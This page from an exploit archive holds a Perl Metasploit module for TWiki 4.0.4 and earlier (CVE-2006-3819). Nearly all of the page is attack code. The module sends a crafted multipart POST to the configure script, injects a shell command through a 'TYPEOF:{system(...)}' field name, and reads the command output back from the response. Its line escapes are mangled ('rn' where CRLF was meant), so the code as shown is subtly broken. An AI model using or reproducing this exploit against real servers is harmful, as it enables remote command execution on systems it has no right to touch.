[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)
# Published : 2006-08-02
# Author : David Maciejak
# Previous Title : WoW Roster <= 1.70 (/lib/phpbb.php) Remote File Include Vulnerability
# Next Title : SaveWeb Portal <= 3.4 (SITE_Path) Remote File Inclusion Vulnerabilities 


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::twiki_config_typeof;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { 
	'HttpBoundary' => ['Mtb06z', 'HTTP boundary']
};

my $info = {
	'Name'     => 'Twiki Configure script TYPEOF Parameter Remote Command Execution',
	'Version'  => '$Revision: 1.0 $',
	'Authors'  => [ 'David Maciejak <david dot maciejak at gmail dot com>' ],
	'Arch'     => [ ],
	'OS'       => [ ],
	'Priv'     => 1,
	'UserOpts' =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 80],
		'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
		'DIR'   => [1, 'DATA', 'Directory of Twiki', '/twiki'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Description' => Pex::Text::Freeform(qq{
		This module exploits an arbitrary command execution vulnerability in the
	Twiki configure script. All versions of Twiki prior to 
	4.0.4 hotfix 2 are vulnerable. Patch HotFix04x00x04x02 is available on twiki.org homepage.
}),
	'Refs' =>
	  [
		['BID', '19188'],
		['CVE', '2006-3819'],
		['OSVDB', '27556'],
	  ],

	'Payload' =>
	  {
		'Space' => 128,
		'Keys'  => ['cmd','cmd_bash'],
	  },

	'Keys' => ['twiki'],

	'DisclosureDate' => 'Jul 27 2006',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host    = $self->VHost;
	my $target_port    = $self->GetVar('RPORT');
	my $dir            = $self->GetVar('DIR');
	my $encodedPayload = $self->GetVar('EncodedPayload');
	my $cmd            = $encodedPayload->RawPayload;
	my $boundary		 = $self->GetLocal('HttpBoundary');		

	$cmd=
		"rn--".$boundary."rn".
		"Content-Disposition: form-data; name="action"rnrn".
		"updatern".
		"--".$boundary.
		"Content-Disposition: form-data; name="TYPEOF:{system('$cmd')}"rnrn".
		"BOOLEANrn".
		"--".$boundary;

	my $proto="http";
	if ($self->GetVar('SSL'))
	{
		$proto.="s";
	}

	 my $request =
    	"POST ".$dir."/bin/configure HTTP/1.1rn".
		"Content-Type: multipart/form-data; boundary=".$boundary."rn".
		"User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.31-grsec i686)rn".
		"Host: $target_hostrn".
		"Referer: ".$proto."://".$target_host.$dir."/bin/configurern".
		"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pngrn".
		"Accept-Language: enrn".
		"Content-Length: ". length($cmd). "rnrn".
		$cmd;

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr' => $target_host,
		'PeerPort' => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	  );

	if ($s->IsError){
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$s->Send($request);

	my $results = $s->Recv(-1, 200);

	if ($results=~ /^transfer-encoding:[ t]*chunkedb/im){
		my @extract_result;
		my @results = split ( /rn/, $results );

		chomp @results;
		my $fill_extract_result=0;
		my $end_break=0;
		my $i=0;
		while ( !$end_break && ($i < @results)){
			if ($results[$i] =~ /<div id="patternScreen">/)
			{
				$fill_extract_result=0;
				$end_break=1;
			}
			if ($fill_extract_result>0) {
					push(@extract_result,$results[$i]);
			}
			if ($results[$i] =~ /<body class="patternNoViewPage">/)
			{
				$fill_extract_result=1;
			}
			$i++;
		}

		if (@extract_result < 3) {
				$self->PrintLine("[*] Target may be not vulnerable, or you have used ';' char in CMD");	
		}
		else {
			for ($i=1;$i<@extract_result;$i+=2) {
				chomp @extract_result;
				$self->PrintLine("$extract_result[$i]");
			}
		}
	}

	$s->Close();
	return;
}

sub VHost {
	my $self = shift;
	my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
	return $name;
}

1;

# www.Syue.com [2006-08-02]